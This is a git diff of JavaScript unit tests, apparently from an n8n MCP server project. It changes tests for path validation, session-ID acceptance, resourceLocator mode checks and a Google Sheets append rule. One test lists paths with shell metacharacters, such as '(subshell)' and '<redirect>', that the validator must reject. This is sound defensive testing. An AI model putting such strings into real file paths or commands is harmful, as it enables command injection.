expect(() => new EnhancedDocumentationFetcher(quotePath)).toThrow(
|
||||||
|
/Invalid docsPath: path contains disallowed characters or patterns/
|
||||||
|
);
|
||||||
|
}
|
||||||
|
});
|
||||||
|
|
||||||
|
it('should reject paths with brackets and braces', () => {
|
||||||
|
const bracketPaths = [
|
||||||
|
'/tmp/test[malicious]',
|
||||||
|
'/tmp/test{a,b}',
|
||||||
|
'/tmp/test<redirect>',
|
||||||
|
'/tmp/test(subshell)',
|
||||||
|
];
|
||||||
|
|
||||||
|
for (const bracketPath of bracketPaths) {
|
||||||
|
expect(() => new EnhancedDocumentationFetcher(bracketPath)).toThrow(
|
||||||
|
/Invalid docsPath: path contains disallowed characters or patterns/
|
||||||
|
);
|
||||||
|
}
|
||||||
|
});
|
||||||
|
});
|
||||||
});
|
});
|
||||||
|
|||||||
@@ -780,13 +780,48 @@ describe('HTTP Server Session Management', () => {
|
|||||||
});
|
});
|
||||||
});
|
});
|
||||||
|
|
||||||
it('should return 400 for invalid session ID format', async () => {
|
it('should return 404 for non-existent session (any format accepted)', async () => {
|
||||||
|
server = new SingleSessionHTTPServer();
|
||||||
|
await server.start();
|
||||||
|
|
||||||
|
const handler = findHandler('delete', '/mcp');
|
||||||
|
|
||||||
|
// Test various session ID formats - all should pass validation
|
||||||
|
// but return 404 if session doesn't exist
|
||||||
|
const sessionIds = [
|
||||||
|
'invalid-session-id',
|
||||||
|
'instance-user123-abc-uuid',
|
||||||
|
'mcp-remote-session-xyz',
|
||||||
|
'short-id',
|
||||||
|
'12345'
|
||||||
|
];
|
||||||
|
|
||||||
|
for (const sessionId of sessionIds) {
|
||||||
|
const { req, res } = createMockReqRes();
|
||||||
|
req.headers = { 'mcp-session-id': sessionId };
|
||||||
|
req.method = 'DELETE';
|
||||||
|
|
||||||
|
await handler(req, res);
|
||||||
|
|
||||||
|
expect(res.status).toHaveBeenCalledWith(404); // Session not found
|
||||||
|
expect(res.json).toHaveBeenCalledWith({
|
||||||
|
jsonrpc: '2.0',
|
||||||
|
error: {
|
||||||
|
code: -32001,
|
||||||
|
message: 'Session not found'
|
||||||
|
},
|
||||||
|
id: null
|
||||||
|
});
|
||||||
|
}
|
||||||
|
});
|
||||||
|
|
||||||
|
it('should return 400 for empty session ID', async () => {
|
||||||
server = new SingleSessionHTTPServer();
|
server = new SingleSessionHTTPServer();
|
||||||
await server.start();
|
await server.start();
|
||||||
|
|
||||||
const handler = findHandler('delete', '/mcp');
|
const handler = findHandler('delete', '/mcp');
|
||||||
const { req, res } = createMockReqRes();
|
const { req, res } = createMockReqRes();
|
||||||
req.headers = { 'mcp-session-id': 'invalid-session-id' };
|
req.headers = { 'mcp-session-id': '' };
|
||||||
req.method = 'DELETE';
|
req.method = 'DELETE';
|
||||||
|
|
||||||
await handler(req, res);
|
await handler(req, res);
|
||||||
@@ -796,7 +831,7 @@ describe('HTTP Server Session Management', () => {
|
|||||||
jsonrpc: '2.0',
|
jsonrpc: '2.0',
|
||||||
error: {
|
error: {
|
||||||
code: -32602,
|
code: -32602,
|
||||||
message: 'Invalid session ID format'
|
message: 'Mcp-Session-Id header is required'
|
||||||
},
|
},
|
||||||
id: null
|
id: null
|
||||||
});
|
});
|
||||||
@@ -912,40 +947,64 @@ describe('HTTP Server Session Management', () => {
|
|||||||
});
|
});
|
||||||
|
|
||||||
describe('Session ID Validation', () => {
|
describe('Session ID Validation', () => {
|
||||||
it('should validate UUID v4 format correctly', async () => {
|
it('should accept any non-empty string as session ID', async () => {
|
||||||
server = new SingleSessionHTTPServer();
|
server = new SingleSessionHTTPServer();
|
||||||
|
|
||||||
const validUUIDs = [
|
|
||||||
'aaaaaaaa-bbbb-4ccc-8ddd-eeeeeeeeeeee', // 8 is valid variant
|
|
||||||
'12345678-1234-4567-8901-123456789012', // 8 is valid variant
|
|
||||||
'f47ac10b-58cc-4372-a567-0e02b2c3d479' // a is valid variant
|
|
||||||
];
|
|
||||||
|
|
||||||
const invalidUUIDs = [
|
// Valid session IDs - any non-empty string is accepted
|
||||||
'invalid-uuid',
|
const validSessionIds = [
|
||||||
'aaaaaaaa-bbbb-3ccc-8ddd-eeeeeeeeeeee', // Wrong version (3)
|
// UUIDv4 format (existing format - still valid)
|
||||||
'aaaaaaaa-bbbb-4ccc-cddd-eeeeeeeeeeee', // Wrong variant (c)
|
'aaaaaaaa-bbbb-4ccc-8ddd-eeeeeeeeeeee',
|
||||||
|
'12345678-1234-4567-8901-123456789012',
|
||||||
|
'f47ac10b-58cc-4372-a567-0e02b2c3d479',
|
||||||
|
|
||||||
|
// Instance-prefixed format (multi-tenant)
|
||||||
|
'instance-user123-abc123-550e8400-e29b-41d4-a716-446655440000',
|
||||||
|
|
||||||
|
// Custom formats (mcp-remote, proxies, etc.)
|
||||||
|
'mcp-remote-session-xyz',
|
||||||
|
'custom-session-format',
|
||||||
'short-uuid',
|
'short-uuid',
|
||||||
'',
|
'invalid-uuid', // "invalid" UUID is valid as generic string
|
||||||
'aaaaaaaa-bbbb-4ccc-8ddd-eeeeeeeeeeee-extra'
|
'12345',
|
||||||
|
|
||||||
|
// Even "wrong" UUID versions are accepted (relaxed validation)
|
||||||
|
'aaaaaaaa-bbbb-3ccc-8ddd-eeeeeeeeeeee', // UUID v3
|
||||||
|
'aaaaaaaa-bbbb-4ccc-cddd-eeeeeeeeeeee', // Wrong variant
|
||||||
|
'aaaaaaaa-bbbb-4ccc-8ddd-eeeeeeeeeeee-extra', // Extra chars
|
||||||
|
|
||||||
|
// Any non-empty string works
|
||||||
|
'anything-goes'
|
||||||
];
|
];
|
||||||
|
|
||||||
for (const uuid of validUUIDs) {
|
// Invalid session IDs - only empty strings
|
||||||
expect((server as any).isValidSessionId(uuid)).toBe(true);
|
const invalidSessionIds = [
|
||||||
|
''
|
||||||
|
];
|
||||||
|
|
||||||
|
// All non-empty strings should be accepted
|
||||||
|
for (const sessionId of validSessionIds) {
|
||||||
|
expect((server as any).isValidSessionId(sessionId)).toBe(true);
|
||||||
}
|
}
|
||||||
|
|
||||||
for (const uuid of invalidUUIDs) {
|
// Only empty strings should be rejected
|
||||||
expect((server as any).isValidSessionId(uuid)).toBe(false);
|
for (const sessionId of invalidSessionIds) {
|
||||||
|
expect((server as any).isValidSessionId(sessionId)).toBe(false);
|
||||||
}
|
}
|
||||||
});
|
});
|
||||||
|
|
||||||
it('should reject requests with invalid session ID format', async () => {
|
it('should accept non-empty strings, reject only empty strings', async () => {
|
||||||
server = new SingleSessionHTTPServer();
|
server = new SingleSessionHTTPServer();
|
||||||
|
|
||||||
// Test the validation method directly
|
// These should all be ACCEPTED (return true) - any non-empty string
|
||||||
expect((server as any).isValidSessionId('invalid-session-id')).toBe(false);
|
expect((server as any).isValidSessionId('invalid-session-id')).toBe(true);
|
||||||
expect((server as any).isValidSessionId('')).toBe(false);
|
expect((server as any).isValidSessionId('short')).toBe(true);
|
||||||
|
expect((server as any).isValidSessionId('instance-user-abc-123')).toBe(true);
|
||||||
|
expect((server as any).isValidSessionId('mcp-remote-xyz')).toBe(true);
|
||||||
|
expect((server as any).isValidSessionId('12345')).toBe(true);
|
||||||
expect((server as any).isValidSessionId('aaaaaaaa-bbbb-4ccc-8ddd-eeeeeeeeeeee')).toBe(true);
|
expect((server as any).isValidSessionId('aaaaaaaa-bbbb-4ccc-8ddd-eeeeeeeeeeee')).toBe(true);
|
||||||
|
|
||||||
|
// Only empty string should be REJECTED (return false)
|
||||||
|
expect((server as any).isValidSessionId('')).toBe(false);
|
||||||
});
|
});
|
||||||
|
|
||||||
it('should reject requests with non-existent session ID', async () => {
|
it('should reject requests with non-existent session ID', async () => {
|
||||||
|
|||||||
@@ -678,7 +678,7 @@ describe('ConfigValidator - Basic Validation', () => {
|
|||||||
expect(result.errors[0].fix).toContain('{ mode: "id", value: "gpt-4o-mini" }');
|
expect(result.errors[0].fix).toContain('{ mode: "id", value: "gpt-4o-mini" }');
|
||||||
});
|
});
|
||||||
|
|
||||||
it('should reject invalid mode values', () => {
|
it('should reject invalid mode values when schema defines allowed modes', () => {
|
||||||
const nodeType = '@n8n/n8n-nodes-langchain.lmChatOpenAi';
|
const nodeType = '@n8n/n8n-nodes-langchain.lmChatOpenAi';
|
||||||
const config = {
|
const config = {
|
||||||
model: {
|
model: {
|
||||||
@@ -690,7 +690,13 @@ describe('ConfigValidator - Basic Validation', () => {
|
|||||||
{
|
{
|
||||||
name: 'model',
|
name: 'model',
|
||||||
type: 'resourceLocator',
|
type: 'resourceLocator',
|
||||||
required: true
|
required: true,
|
||||||
|
// In real n8n, modes are at top level, not in typeOptions
|
||||||
|
modes: [
|
||||||
|
{ name: 'list', displayName: 'List' },
|
||||||
|
{ name: 'id', displayName: 'ID' },
|
||||||
|
{ name: 'url', displayName: 'URL' }
|
||||||
|
]
|
||||||
}
|
}
|
||||||
];
|
];
|
||||||
|
|
||||||
@@ -700,10 +706,110 @@ describe('ConfigValidator - Basic Validation', () => {
|
|||||||
expect(result.errors.some(e =>
|
expect(result.errors.some(e =>
|
||||||
e.property === 'model.mode' &&
|
e.property === 'model.mode' &&
|
||||||
e.type === 'invalid_value' &&
|
e.type === 'invalid_value' &&
|
||||||
e.message.includes("must be 'list', 'id', or 'url'")
|
e.message.includes('must be one of [list, id, url]')
|
||||||
)).toBe(true);
|
)).toBe(true);
|
||||||
});
|
});
|
||||||
|
|
||||||
|
it('should handle modes defined as array format', () => {
|
||||||
|
const nodeType = '@n8n/n8n-nodes-langchain.lmChatOpenAi';
|
||||||
|
const config = {
|
||||||
|
model: {
|
||||||
|
mode: 'custom',
|
||||||
|
value: 'gpt-4o-mini'
|
||||||
|
}
|
||||||
|
};
|
||||||
|
const properties = [
|
||||||
|
{
|
||||||
|
name: 'model',
|
||||||
|
type: 'resourceLocator',
|
||||||
|
required: true,
|
||||||
|
// Array format at top level (real n8n structure)
|
||||||
|
modes: [
|
||||||
|
{ name: 'list', displayName: 'List' },
|
||||||
|
{ name: 'id', displayName: 'ID' },
|
||||||
|
{ name: 'custom', displayName: 'Custom' }
|
||||||
|
]
|
||||||
|
}
|
||||||
|
];
|
||||||
|
|
||||||
|
const result = ConfigValidator.validate(nodeType, config, properties);
|
||||||
|
|
||||||
|
expect(result.valid).toBe(true);
|
||||||
|
expect(result.errors).toHaveLength(0);
|
||||||
|
});
|
||||||
|
|
||||||
|
it('should handle malformed modes schema gracefully', () => {
|
||||||
|
const nodeType = '@n8n/n8n-nodes-langchain.lmChatOpenAi';
|
||||||
|
const config = {
|
||||||
|
model: {
|
||||||
|
mode: 'any-mode',
|
||||||
|
value: 'gpt-4o-mini'
|
||||||
|
}
|
||||||
|
};
|
||||||
|
const properties = [
|
||||||
|
{
|
||||||
|
name: 'model',
|
||||||
|
type: 'resourceLocator',
|
||||||
|
required: true,
|
||||||
|
modes: 'invalid-string' // Malformed schema at top level
|
||||||
|
}
|
||||||
|
];
|
||||||
|
|
||||||
|
const result = ConfigValidator.validate(nodeType, config, properties);
|
||||||
|
|
||||||
|
// Should NOT crash, should skip validation
|
||||||
|
expect(result.valid).toBe(true);
|
||||||
|
expect(result.errors.some(e => e.property === 'model.mode')).toBe(false);
|
||||||
|
});
|
||||||
|
|
||||||
|
it('should handle empty modes definition gracefully', () => {
|
||||||
|
const nodeType = '@n8n/n8n-nodes-langchain.lmChatOpenAi';
|
||||||
|
const config = {
|
||||||
|
model: {
|
||||||
|
mode: 'any-mode',
|
||||||
|
value: 'gpt-4o-mini'
|
||||||
|
}
|
||||||
|
};
|
||||||
|
const properties = [
|
||||||
|
{
|
||||||
|
name: 'model',
|
||||||
|
type: 'resourceLocator',
|
||||||
|
required: true,
|
||||||
|
modes: {} // Empty object at top level
|
||||||
|
}
|
||||||
|
];
|
||||||
|
|
||||||
|
const result = ConfigValidator.validate(nodeType, config, properties);
|
||||||
|
|
||||||
|
// Should skip validation with empty modes
|
||||||
|
expect(result.valid).toBe(true);
|
||||||
|
expect(result.errors.some(e => e.property === 'model.mode')).toBe(false);
|
||||||
|
});
|
||||||
|
|
||||||
|
it('should skip mode validation when modes not provided', () => {
|
||||||
|
const nodeType = '@n8n/n8n-nodes-langchain.lmChatOpenAi';
|
||||||
|
const config = {
|
||||||
|
model: {
|
||||||
|
mode: 'custom-mode',
|
||||||
|
value: 'gpt-4o-mini'
|
||||||
|
}
|
||||||
|
};
|
||||||
|
const properties = [
|
||||||
|
{
|
||||||
|
name: 'model',
|
||||||
|
type: 'resourceLocator',
|
||||||
|
required: true
|
||||||
|
// No modes property - schema doesn't define modes
|
||||||
|
}
|
||||||
|
];
|
||||||
|
|
||||||
|
const result = ConfigValidator.validate(nodeType, config, properties);
|
||||||
|
|
||||||
|
// Should accept any mode when schema doesn't define them
|
||||||
|
expect(result.valid).toBe(true);
|
||||||
|
expect(result.errors).toHaveLength(0);
|
||||||
|
});
|
||||||
|
|
||||||
it('should accept resourceLocator with mode "url"', () => {
|
it('should accept resourceLocator with mode "url"', () => {
|
||||||
const nodeType = '@n8n/n8n-nodes-langchain.lmChatOpenAi';
|
const nodeType = '@n8n/n8n-nodes-langchain.lmChatOpenAi';
|
||||||
const config = {
|
const config = {
|
||||||
|
|||||||
@@ -347,14 +347,14 @@ describe('NodeSpecificValidators', () => {
|
|||||||
};
|
};
|
||||||
});
|
});
|
||||||
|
|
||||||
it('should require range for append', () => {
|
it('should require range or columns for append', () => {
|
||||||
NodeSpecificValidators.validateGoogleSheets(context);
|
NodeSpecificValidators.validateGoogleSheets(context);
|
||||||
|
|
||||||
expect(context.errors).toContainEqual({
|
expect(context.errors).toContainEqual({
|
||||||
type: 'missing_required',
|
type: 'missing_required',
|
||||||
property: 'range',
|
property: 'range',
|
||||||
message: 'Range is required for append operation',
|
message: 'Range or columns mapping is required for append operation',
|
||||||
fix: 'Specify range like "Sheet1!A:B" or "Sheet1!A1:B10"'
|
fix: 'Specify range like "Sheet1!A:B" OR use columns with mappingMode'
|
||||||
});
|
});
|
||||||
});
|
});
|
||||||
|
|
||||||
|
|||||||
Reference in New Issue
Block a user